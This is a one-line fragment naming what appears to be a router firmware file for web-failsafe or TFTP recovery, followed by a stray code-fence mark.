deco_all_webfailsafe_faux_fw_tftp.bin -```